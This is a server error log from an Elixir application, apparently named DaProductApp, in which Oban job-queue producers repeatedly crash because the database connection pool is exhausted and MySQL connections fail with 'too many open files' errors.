[Sat Sep  5 23:06:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:06:42.240697Z], limit: 50, uuid: "6910c567-9215-46b0-83dc-6af34d340bef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:42.240702Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.236614>, refresh_timer: #Reference<0.2525715032.1121189889.107411>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:06:42.240196Z], limit: 20, uuid: "6562fe46-afa6-4a6d-b58d-d28ed75b2ef5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:42.240202Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.236611>, refresh_timer: #Reference<0.2525715032.1077411843.236601>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:06:42.240381Z], limit: 10, uuid: "7e06173d-e1e9-4539-b74d-89f2114486b9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:42.240401Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.236612>, refresh_timer: #Reference<0.2525715032.1077411843.236610>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:06:42.239216Z], limit: 5, uuid: "ac39ee91-c242-457c-b108-65c51f33b50a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:42.239223Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.3112>, refresh_timer: #Reference<0.2525715032.1121189889.107393>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:06:42.241875Z], limit: 5, uuid: "249733bf-c59f-40cb-b93b-9d195b07e31e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:42.241880Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.3111>, refresh_timer: #Reference<0.2525715032.1099431938.3098>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:54.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:06:42.239531Z], limit: 3, uuid: "e8af24d3-dbb2-4a8e-be43-4c3e72ce8dbe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:42.239537Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.236613>, refresh_timer: #Reference<0.2525715032.1068236804.252840>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:57.121000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:57.769000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:01.074000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:01.475000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:02.178000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:05.851000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:06:54.243060Z], limit: 10, uuid: "814694a1-fcb2-49a3-8ef7-7e274bafe1a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:54.243066Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.3442>, refresh_timer: #Reference<0.2525715032.1121189889.107535>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:06:54.241714Z], limit: 50, uuid: "38aab2c2-e32a-4122-a1a9-c607f3585c3c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:54.241721Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.3441>, refresh_timer: #Reference<0.2525715032.1068236804.252982>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
